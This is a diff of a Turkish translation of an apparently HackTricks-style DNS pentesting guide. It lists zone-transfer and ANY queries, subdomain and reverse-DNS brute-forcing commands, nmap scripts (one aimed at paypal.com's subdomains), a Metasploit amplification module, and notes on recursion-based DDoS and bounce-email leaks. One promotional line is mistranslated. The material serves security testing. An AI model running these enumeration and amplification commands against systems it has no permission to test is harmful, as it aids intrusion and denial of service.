+Ayrıca, [`fpdns`](https://github.com/kirei/fpdns) aracı sunucunun parmak izini de alabilir.
-Ayrıca, bir **nmap** betiği ile banner da alınabilir:
+Ayrıca **nmap** betiği ile banner da alınabilir:
```
--script dns-nsid
```
### **Herhangi bir kayıt**
-**ANY** kaydı, DNS sunucusuna **tüm mevcut girişleri** sormak için kullanılır ve sunucunun **açıklamaya istekli olduğu** tüm bilgileri **geri döndürmesini** isteyebilir.
+Kayıt **ANY**, DNS sunucusuna **tüm** mevcut **girişleri** sormak için **talep** edecektir.
```bash
dig any victim.com @
```
### **Bölge Transferi**
-Bu işlem `Asenkron Tam Transfer Bölgesi` (`AXFR`) olarak kısaltılır.
+Bu prosedür, `Asenkron Tam Transfer Bölgesi` (`AXFR`) olarak kısaltılmıştır.
```bash
dig axfr @ #Try zone transfer without domain
dig axfr @ #Try zone transfer guessing the domain
@@ -88,160 +83,12 @@ dig -x 2a00:1450:400c:c06::93 @ #reverse IPv6 lookup
#Use [-p PORT] or -6 (to use ivp6 address of dns)
```
#### Otomasyon
-
-Automation, in the context of network services pentesting, refers to the use of tools and scripts to streamline and expedite the process of testing and exploiting DNS vulnerabilities. By automating certain tasks, such as reconnaissance, enumeration, and exploitation, pentesters can save time and effort while ensuring thorough testing of DNS configurations.
-
-Otomasyon, ağ hizmetleri pentesting bağlamında, DNS zafiyetlerinin test edilmesi ve sömürülmesi sürecini hızlandırmak ve kolaylaştırmak için araç ve komut dosyalarının kullanılması anlamına gelir. Keşif, numaralandırma ve sömürme gibi belirli görevleri otomatikleştirerek, pentester'lar DNS yapılandırmalarının kapsamlı bir şekilde test edilmesini sağlarken zaman ve çaba tasarrufu yapabilirler.
```bash
for sub in $(cat );do dig $sub. @ | grep -v ';\|SOA' | sed -r '/^\s*$/d' | grep $sub | tee -a subdomains.txt;done
dnsenum --dnsserver --enum -p 0 -s 0 -o subdomains.txt -f
```
#### nslookup Kullanımı
-
-`nslookup` komutu, DNS (Alan Adı Sistemi) sorgularını gerçekleştirmek için kullanılan bir araçtır. Bu araç, belirli bir IP adresine veya alan adına ait DNS kayıtlarını sorgulamak için kullanılabilir.
-
-**Kullanımı:**
-
-```bash
-nslookup [alan_adı veya_IP_adresi]
-```
-
-**Örnekler:**
-
-- Belirli bir alan adının IP adresini sorgulamak için:
-
-```bash
-nslookup example.com
-```
-
-- Belirli bir IP adresine ait alan adını sorgulamak için:
-
-```bash
-nslookup 192.168.0.1
-```
-
-- Belirli bir alan adının MX (Posta Değiştiricisi) kayıtlarını sorgulamak için:
-
-```bash
-nslookup -type=mx example.com
-```
-
-- Belirli bir alan adının NS (Alan Sunucusu) kayıtlarını sorgulamak için:
-
-```bash
-nslookup -type=ns example.com
-```
-
-- Belirli bir alan adının TXT (Metin) kayıtlarını sorgulamak için:
-
-```bash
-nslookup -type=txt example.com
-```
-
-- Belirli bir alan adının SOA (Yetki Kaydı) kaydını sorgulamak için:
-
-```bash
-nslookup -type=soa example.com
-```
-
-- Belirli bir alan adının CNAME (Kanonik Ad) kaydını sorgulamak için:
-
-```bash
-nslookup -type=cname example.com
-```
-
-- Belirli bir alan adının AAAA (IPv6) kayıtlarını sorgulamak için:
-
-```bash
-nslookup -type=aaaa example.com
-```
-
-- Belirli bir alan adının PTR (Ters DNS) kaydını sorgulamak için:
-
-```bash
-nslookup -type=ptr 192.168.0.1
-```
-
-- Belirli bir alan adının SRV (Hizmet) kayıtlarını sorgulamak için:
-
-```bash
-nslookup -type=srv _sip._tcp.example.com
-```
-
-- Belirli bir alan adının NSEC (Alan Adı Güvenliği) kaydını sorgulamak için:
-
-```bash
-nslookup -type=nsec example.com
-```
-
-- Belirli bir alan adının DNSKEY (DNS Anahtar) kayıtlarını sorgulamak için:
-
-```bash
-nslookup -type=dnskey example.com
-```
-
-- Belirli bir alan adının DS (Alan Adı Güvenliği) kayıtlarını sorgulamak için:
-
-```bash
-nslookup -type=ds example.com
-```
-
-- Belirli bir alan adının NSEC3 (Alan Adı Güvenliği) kaydını sorgulamak için:
-
-```bash
-nslookup -type=nsec3 example.com
-```
-
-- Belirli bir alan adının TLSA (Transport Layer Security Authentication) kayıtlarını sorgulamak için:
-
-```bash
-nslookup -type=tlsa example.com
-```
-
-- Belirli bir alan adının SSHFP (SSH Fingerprints) kayıtlarını sorgulamak için:
-
-```bash
-nslookup -type=sshfp example.com
-```
-
-- Belirli bir alan adının SPF (Sender Policy Framework) kayıtlarını sorgulamak için:
-
-```bash
-nslookup -type=spf example.com
-```
-
-- Belirli bir alan adının HINFO (Host Information) kayıtlarını sorgulamak için:
-
-```bash
-nslookup -type=hinfo example.com
-```
-
-- Belirli bir alan adının RP (Responsible Person) kayıtlarını sorgulamak için:
-
-```bash
-nslookup -type=rp example.com
-```
-
-- Belirli bir alan adının PTR (Ters DNS) kaydını sorgulamak için:
-
-```bash
-nslookup -type=ptr 192.168.0.1
-```
-
-- Belirli bir alan adının A (IPv4) kayıtlarını sorgulamak için:
-
-```bash
-nslookup -type=a example.com
-```
-
-- Belirli bir alan adının ANY (Tüm Kayıtlar) kayıtlarını sorgulamak için:
-
-```bash
-nslookup -type=any example.com
-```
-
-**Not:** Yukarıdaki örneklerde `example.com` ve `192.168.0.1` yerine ilgili alan adı veya IP adresini kullanmalısınız.
```bash
nslookup
> SERVER #Select dns server
@@ -249,52 +96,15 @@ nslookup
> #Reverse lookup of a machine, maybe...
```
### Kullanışlı metasploit modülleri
-
-Metasploit, birçok farklı ağ hizmetini hedefleyen bir dizi kullanışlı modül sunar. Bu modüller, hedef sistemlerde zafiyetler bulmak ve istismar etmek için kullanılabilir. İşte bazı kullanışlı metasploit modülleri:
-
-- `auxiliary/scanner/dns/dns_enum`: DNS sunucusunu keşfetmek ve DNS kayıtlarını toplamak için kullanılır.
-- `auxiliary/scanner/dns/dns_recon`: DNS sunucusunu keşfetmek ve DNS kayıtlarını toplamak için kullanılır.
-- `auxiliary/scanner/dns/dns_brute`: DNS sunucusunda brute force saldırısı gerçekleştirmek için kullanılır.
-- `auxiliary/scanner/dns/dns_cache_snoop`: DNS önbelleğini sorgulamak ve gizli bilgileri ortaya çıkarmak için kullanılır.
-- `auxiliary/scanner/dns/dns_cache_poison`: DNS önbelleğini zehirlemek ve hedef sistemdeki DNS yanıtlarını manipüle etmek için kullanılır.
-- `auxiliary/scanner/dns/dns_transfer`: DNS bölgesi transferini gerçekleştirmek için kullanılır.
-- `auxiliary/scanner/dns/dns_wildcard`: Hedef DNS sunucusunda joker karakterlerin kullanılıp kullanılmadığını kontrol etmek için kullanılır.
-
-Bu modüller, DNS hizmetlerini hedefleyen birçok farklı saldırı senaryosunu gerçekleştirmek için kullanılabilir. Metasploit, bu modüllerin yanı sıra diğer birçok farklı hizmet için de kullanışlı modüller sunar.
```bash
auxiliary/gather/enum_dns #Perform enumeration actions
```
### Kullanışlı nmap betikleri
-
-Nmap, ağ tarama ve keşif aracı olarak kullanılan popüler bir araçtır. Nmap, kullanıcıların ağ hedeflerini taramak ve keşfetmek için çeşitli betikler kullanmasına olanak tanır. İşte bazı kullanışlı Nmap betikleri:
-
-- **dns-brute.nse**: Bu betik, DNS sunucusuna karşı brute force saldırıları gerçekleştirmek için kullanılır. DNS sunucusunda mevcut olan alan adlarını keşfetmek için kullanılabilir.
-
-- **dns-cache-snoop.nse**: Bu betik, hedef DNS sunucusunun önbelleğindeki kayıtları sorgulamak için kullanılır. Bu sayede, hedef DNS sunucusunun önbelleğindeki gizli bilgilere erişebilirsiniz.
-
-- **dns-zone-transfer.nse**: Bu betik, hedef DNS sunucusundan alan adı bölgesi transferini gerçekleştirmek için kullanılır. Bu sayede, hedef DNS sunucusunun tüm alan adı kayıtlarını elde edebilirsiniz.
-
-- **dns-update.nse**: Bu betik, hedef DNS sunucusuna DNS güncelleme istekleri göndermek için kullanılır. Bu sayede, hedef DNS sunucusunda yetkisiz güncellemeler yapabilirsiniz.
-
-- **dns-recursion.nse**: Bu betik, hedef DNS sunucusunun rekürsif sorgu özelliğini test etmek için kullanılır. Bu sayede, hedef DNS sunucusunun yetkisiz sorgulara izin verip vermediğini belirleyebilirsiniz.
-
-Bu betikler, Nmap'ın güçlü tarama ve keşif yeteneklerini kullanarak DNS hedeflerini analiz etmenize yardımcı olur.
```bash
#Perform enumeration actions
nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport"
```
-### DNS - Tersine BF
-
-Tersine brute force (Reverse BF), bir hedefin IP adreslerini belirlemek için DNS sunucusunu hedefleyen bir saldırı türüdür. Bu saldırıda, saldırgan, hedefin alan adıyla ilişkili IP adreslerini keşfetmek için DNS sunucusuna talepler gönderir.
-
-Bu saldırıyı gerçekleştirmek için aşağıdaki adımları izleyebilirsiniz:
-
-1. Hedef alan adını belirleyin.
-2. DNS sunucusunu belirleyin.
-3. DNS sunucusuna talepler göndermek için bir araç kullanın.
-4. DNS sunucusundan gelen yanıtları analiz edin ve hedefin IP adreslerini belirleyin.
-
-Tersine brute force saldırısı, hedefin IP adreslerini belirlemek için etkili bir yöntem olabilir, ancak hedefin DNS sunucusunun güvenlik önlemlerini aşmak zor olabilir. Bu nedenle, bu saldırıyı gerçekleştirmeden önce yasal izinleri almak ve hedefin izni olmadan test yapmamak önemlidir.
+### DNS - Ters BF
```bash
dnsrecon -r 127.0.0.0/24 -n #DNS reverse of all of the addresses
dnsrecon -r 127.0.1.0/24 -n #DNS reverse of all of the addresses
@@ -302,12 +112,12 @@ dnsrecon -r /24 -n #DNS reverse of all of the addresses
dnsrecon -d active.htb -a -n #Zone transfer
```
{% hint style="info" %}
-Eğer iç IP adreslerine çözülen alt alan adlarını bulabilirseniz, bu IP aralığı için NS'lere ters dns BF yapmayı denemelisiniz.
+Eğer iç IP adreslerine çözünen alt alan adlar bulabilirseniz, o IP aralığını soran alan adının NS'lerine ters dns BF yapmaya çalışmalısınız.
{% endhint %}
Bunu yapmak için başka bir araç: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
-Ters IP aralıklarını sorgulayabilirsiniz: [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns) (bu araç BGP ile de yardımcı olur).
+Ters IP aralıklarını sorgulayabilirsiniz [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns) (bu araç aynı zamanda BGP ile de yardımcı olur).
### DNS - Alt Alan Adları BF
```bash
@@ -315,13 +125,7 @@ dnsenum --dnsserver --enum -p 0 -s 0 -o subdomains.txt -f subdomains-10
dnsrecon -D subdomains-1000.txt -d -n
dnscan -d -r -w subdomains-1000.txt #Bruteforce subdomains in recursive way, https://github.com/rbsec/dnscan
```
-### Active Directory sunucuları
-
-Active Directory (AD), Microsoft tarafından geliştirilen ve ağ kaynaklarını yönetmek için kullanılan bir dizin hizmetidir. AD sunucuları, ağdaki kullanıcı hesaplarını, grupları, bilgisayarları ve diğer kaynakları yönetmek için kullanılır. AD sunucuları, ağdaki kullanıcıların kimlik doğrulamasını sağlar ve ağ kaynaklarına erişim kontrolünü yönetir.
-
-AD sunucularını hedef alarak yapılan saldırılar, ağa erişimi elde etmek, kimlik avı yapmak veya yetkilendirme hatalarını kullanarak ayrıcalıklı erişim elde etmek gibi amaçlarla gerçekleştirilebilir. Bu nedenle, AD sunucularının güvenliğini sağlamak ve saldırılara karşı korumak önemlidir.
-
-AD sunucularını hedef alan saldırılar arasında brute force saldırıları, kimlik avı saldırıları, zayıf şifrelerin keşfedilmesi ve yetkilendirme hatalarının kullanılması gibi yöntemler bulunur. Bu saldırıları önlemek için güçlü şifre politikaları uygulanmalı, güncel güvenlik yamaları uygulanmalı ve ağ trafiği izlenerek anormal aktiviteler tespit edilmelidir.
+### Aktif Dizin sunucuları
```bash
dig -t _gc._tcp.lab.domain.com
dig -t _ldap._tcp.lab.domain.com
@@ -333,60 +137,35 @@ nslookup -type=srv _kerberos._tcp.domain.com
nmap --script dns-srv-enum --script-args "dns-srv-enum.domain='domain.com'"
```
-DNSSec (Domain Name System Security Extensions), alan adı sistemine güvenlik eklemeleri sağlayan bir mekanizmadır. DNSSec, DNS trafiğinin bütünlüğünü ve doğruluğunu sağlamak için kullanılır. Bu, DNS sorgularının ve yanıtlarının değiştirilmediğini ve sahte olmadığını doğrulamak için dijital imzalar kullanır.
+### DNSSec
-DNSSec, DNS üzerindeki çeşitli saldırıları önlemek için tasarlanmıştır. Örneğin, DNS cache zehirlenmesi saldırılarına karşı koruma sağlar. Bu saldırıda, saldırgan, DNS sunucusuna yanıltıcı bilgiler göndererek, kullanıcıları yanlış IP adreslerine yönlendirebilir. DNSSec, bu tür saldırıları tespit eder ve önler.
+#### DNSSec Nedir?
-DNSSec, DNS hiyerarşisindeki her düğümün (kök, alan adı sunucusu, alt alan adı sunucusu) dijital bir imza kullanarak DNS kayıtlarını doğrulamasını sağlar. Bu imzalar, DNS kayıtlarının bütünlüğünü ve doğruluğunu sağlamak için kullanılır. Bir DNS istemcisi, DNS sunucusundan aldığı yanıtın doğruluğunu kontrol etmek için bu imzaları kullanır.
-
-DNSSec, DNS güvenliğini artırmak için önemli bir adımdır. Ancak, DNSSec'in tam olarak etkili olabilmesi için tüm DNS sunucularının DNSSec'i desteklemesi gerekmektedir. Aksi takdirde, saldırganlar hala DNSSec'i desteklemeyen sunucuları hedef alabilir ve saldırılarını gerçekleştirebilir.
+DNS üzerindeki güvenlik açıklarını gidermek için tasarlanmış bir dizi uzantıdır. Bu uzantılar, DNS trafiğini şifrelemek ve bütünlüğünü doğrulamak için kullanılır.
```bash
#Query paypal subdomains to ns3.isc-sns.info
nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal.com ns3.isc-sns.info
```
### IPv6
-IPv6 alt alan adlarının IPv6 adreslerini toplamak için "AAAA" isteklerini kullanarak brute force yapın.
+Alt alan adlarının IPv6 adreslerini toplamak için "AAAA" isteklerini kullanarak brute force yapın.
```bash
dnsdict6 -s -t
```
-# IPv6 Adresleri Kullanarak Ters DNS Bruteforce Yöntemi
+### IPv6 Adreslerini Kullanarak Ters DNS Bruteforce
-IPv6 adreslerini kullanarak ters DNS bruteforce yöntemi, hedef sistemdeki IPv6 adreslerine karşılık gelen DNS kayıtlarını keşfetmek için kullanılır. Bu yöntem, hedef sistemdeki ağ servislerini ve altyapıyı analiz etmek için kullanışlıdır.
-
-## Adım 1: IPv6 Adres Aralığını Belirleme
-
-İlk adım olarak, hedef sistemdeki IPv6 adres aralığını belirlememiz gerekmektedir. Bu aralığı belirlemek için çeşitli yöntemler kullanabiliriz, örneğin hedef sistemdeki ağ yapılandırma dosyalarını veya ağ tarayıcılarını kullanabiliriz.
-
-## Adım 2: Ters DNS Sorgularını Yapma
-
-Belirlediğimiz IPv6 adres aralığı üzerinde ters DNS sorguları yaparak, hedef sistemdeki DNS kayıtlarını keşfedebiliriz. Bu sorguları yapmak için çeşitli araçlar kullanabiliriz, örneğin `nslookup` veya `dig` gibi.
-
-```markdown
-Örnek Kullanım:
-
-```
-nslookup -type=PTR 2001:0db8:85a3:0000:0000:8a2e:0370:7334
-```
-
-```
-
-## Adım 3: Sonuçları Analiz Etme
-
-Yaptığımız ters DNS sorgularının sonuçlarını analiz ederek, hedef sistemdeki DNS kayıtlarını elde edebiliriz. Bu kayıtlar, hedef sistemdeki ağ servislerini ve altyapıyı daha iyi anlamamıza yardımcı olacaktır.
-
-Ters DNS bruteforce yöntemi, hedef sistemdeki IPv6 adreslerine karşılık gelen DNS kayıtlarını keşfetmek için etkili bir yöntemdir. Bu yöntem, ağ servislerini ve altyapıyı analiz etmek için kullanılan diğer tekniklerle birlikte kullanılabilir.
+IPv6 adreslerini kullanarak ters DNS bruteforce işlemi yapabilirsiniz.
```bash
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
```
-### DNS Rekürsif DDoS
+### DNS Yineleme DDoS
-Eğer **DNS rekürsif** etkinleştirilmişse, bir saldırgan UDP paketinde **kökeni sahteleyebilir** ve **DNS'in yanıtı kurban sunucuya göndermesini sağlayabilir**. Bir saldırgan, daha büyük yanıtlara sahip oldukları için **ANY** veya **DNSSEC** kayıt türlerini istismar edebilir.\
-Bir DNS'in **rekürsif** desteğini kontrol etmenin yolu, bir alan adını sorgulamak ve yanıtta **"ra"** (_rekürsif kullanılabilir_) bayrağının olup olmadığını **kontrol etmektir**:
+Eğer **DNS yinelemesi etkinse**, bir saldırgan UDP paketinde **kökeni sahtekarlık yapabilir** ve **DNS'in yanıtı kurban sunucuya göndermesini sağlayabilir**. Bir saldırgan **ANY** veya **DNSSEC** kayıt türlerini istismar edebilir çünkü genellikle daha büyük yanıtlar verirler.\
+Bir DNS'nin **yinelemeyi destekleyip desteklemediğini kontrol etmenin** yolu, bir alan adını sorgulamak ve yanıtta **"ra" bayrağının** (_yineleme mevcut_) olup olmadığını **kontrol etmektir**:
```bash
dig google.com A @
```
-**Mevcut Değil**:
+**Mevcut değil**:
![](<../.gitbook/assets/image (275).png>)
@@ -394,21 +173,21 @@ dig google.com A @
![](<../.gitbook/assets/image (276).png>)
-
+
-**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle birlikte her yerden tam bir pentest çalıştırın. Bu araçlar ve özellikler, keşiften raporlamaya kadar uzanır. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine kazma, kabukları patlatma ve eğlenme zamanı kazanıyorlar.
+**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanır. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar.
{% embed url="https://pentest-tools.com/" %}
-### Mevcut olmayan bir hesaba e-posta gönderme
+### Var olmayan hesaba e-posta gönderme
-Hedef bir alan içinde geçersiz bir adrese gönderilen bir e-posta tarafından tetiklenen bir teslim edilememe bildirimi (NDN) incelenerek, değerli iç ağ ayrıntıları genellikle ifşa edilir.
+Hedef alan etki alanında geçersiz bir adrese gönderilen bir e-posta tarafından tetiklenen teslim edilememe bildirimi (NDN) incelenerek, genellikle değerli iç ağ ayrıntıları ifşa edilir.
Sağlanan teslim edilememe raporu şu bilgileri içerir:
-- Oluşturan sunucu `server.example.com` olarak tanımlandı.
-- `user@example.com` için `#550 5.1.1 RESOLVER.ADR.RecipNotFound; not found` hata kodu ile bir başarısızlık bildirimi döndürüldü.
-- İç IP adresleri ve ana bilgisayar adları, orijinal ileti başlıklarında ifşa edildi.
+* Oluşturan sunucu `server.example.com` olarak tanımlandı.
+* `user@example.com` için `#550 5.1.1 RESOLVER.ADR.RecipNotFound; not found` hata kodu ile bir başarısızlık bildirimi geri döndürüldü.
+* Orijinal ileti başlıklarında iç IP adresleri ve ana bilgisayar adları ifşa edildi.
```markdown
The original message headers were modified for anonymity and now present randomized data:
@@ -432,59 +211,7 @@ filter.example.com with ESMTP id xVNPkwaqGgdyH5Ag for user@example.com; Mon,
X-Envelope-From: sender@anotherdomain.org
X-Apparent-Source-IP: 198.51.100.37
```
-## Yapılandırma dosyaları
-
-Config files are files that contain settings and configurations for various applications and services. In the context of DNS pentesting, config files are important because they often contain sensitive information that can be exploited by attackers.
-
-Yapılandırma dosyaları, çeşitli uygulamalar ve hizmetler için ayarları ve yapılandırmaları içeren dosyalardır. DNS pentesting bağlamında, yapılandırma dosyaları önemlidir çünkü genellikle saldırganlar tarafından istismar edilebilecek hassas bilgiler içerir.
-
-### Common DNS Config Files
-
-### Yaygın DNS Yapılandırma Dosyaları
-
-Here are some common DNS config files that you may encounter during DNS pentesting:
-
-DNS pentesting sırasında karşılaşabileceğiniz bazı yaygın DNS yapılandırma dosyaları aşağıda listelenmiştir:
-
-- **named.conf**: This is the main configuration file for the BIND DNS server. It contains global options and settings for the server.
-
-- **named.conf**: Bu, BIND DNS sunucusu için ana yapılandırma dosyasıdır. Sunucu için genel seçenekler ve ayarları içerir.
-
-- **named.conf.local**: This file is used to define local zones and their configurations. It is included in the main named.conf file.
-
-- **named.conf.local**: Bu dosya, yerel bölgeleri ve yapılandırmalarını tanımlamak için kullanılır. Ana named.conf dosyasına dahil edilir.
-
-- **named.conf.options**: This file contains global options and settings for the BIND DNS server. It is also included in the main named.conf file.
-
-- **named.conf.options**: Bu dosya, BIND DNS sunucusu için genel seçenekleri ve ayarları içerir. Ayrıca ana named.conf dosyasına dahil edilir.
-
-- **resolv.conf**: This file is used by the DNS resolver library to configure DNS resolution on the system. It specifies the DNS servers to use and other resolver options.
-
-- **resolv.conf**: Bu dosya, DNS çözümleyici kitaplığının sistemde DNS çözümlemesini yapılandırmak için kullandığı dosyadır. Kullanılacak DNS sunucularını ve diğer çözümleyici seçeneklerini belirtir.
-
-### Finding Config Files
-
-### Yapılandırma Dosyalarını Bulma
-
-During DNS pentesting, it is important to identify the location of config files on the target system. Here are some techniques to find config files:
-
-DNS pentesting sırasında, hedef sistemdeki yapılandırma dosyalarının konumunu belirlemek önemlidir. İşte yapılandırma dosyalarını bulmak için bazı teknikler:
-
-- **Manual Search**: Manually search common locations for config files such as /etc/bind/ or /etc/named/.
-
-- **Elle Arama**: /etc/bind/ veya /etc/named/ gibi yaygın yapılandırma dosyalarının konumlarını el ile arayın.
-
-- **DNS Zone Transfers**: Perform DNS zone transfers to obtain the DNS server's configuration files.
-
-- **DNS Bölge Aktarımları**: DNS bölge aktarımları gerçekleştirerek DNS sunucusunun yapılandırma dosyalarını elde edin.
-
-- **Brute Forcing**: Use brute force techniques to guess the location and names of config files.
-
-- **Brute Force**: Yapılandırma dosyalarının konumunu ve adlarını tahmin etmek için brute force tekniklerini kullanın.
-
-Once you have identified the config files, you can analyze them for potential vulnerabilities and sensitive information that can be used for further exploitation.
-
-Yapılandırma dosyalarını belirledikten sonra, bunları potansiyel zafiyetler ve daha fazla istismar için kullanılabilecek hassas bilgiler açısından analiz edebilirsiniz.
+## Yapılandırma Dosyaları
```
host.conf
/etc/resolv.conf
@@ -494,7 +221,7 @@ host.conf
/etc/bind/named.conf.log
/etc/bind/*
```
-Bind sunucusu yapılandırılırken tehlikeli ayarlar:
+## Tehlikeli ayarlar bir Bind sunucusu yapılandırılırken:
| **Seçenek** | **Açıklama** |
| ----------------- | ------------------------------------------------------------------------------ |
@@ -504,6 +231,7 @@ Bind sunucusu yapılandırılırken tehlikeli ayarlar:
| `zone-statistics` | Bölgelerin istatistiksel verilerini toplar. |
## Referanslar
+
* [https://www.myrasecurity.com/en/knowledge-hub/dns/](https://www.myrasecurity.com/en/knowledge-hub/dns/)
* Kitap: **Network Security Assessment 3. baskı**
@@ -560,22 +288,22 @@ Description: DNS enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; set RPORT 53; run; exit' && msfconsole -q -x 'use auxiliary/gather/enum_dns; set RHOSTS {IP}; set RPORT 53; run; exit'
```
-
+
-**Hemen kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. Keşiften raporlamaya kadar 20'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın. Pentesterları değiştirmiyoruz - özel araçlar, tespit ve sömürü modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar.
+**Zafere ulaşmak için sıfırdan AWS hackleme öğrenin**. 20'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentesterları değiştirmiyoruz - özel araçlar, tespit ve sömürü modülleri geliştiriyoruz, böylece daha derine inme, kabukları patlatma ve eğlenme zamanı kazanıyorlar.
{% embed url="https://pentest-tools.com/" %}
-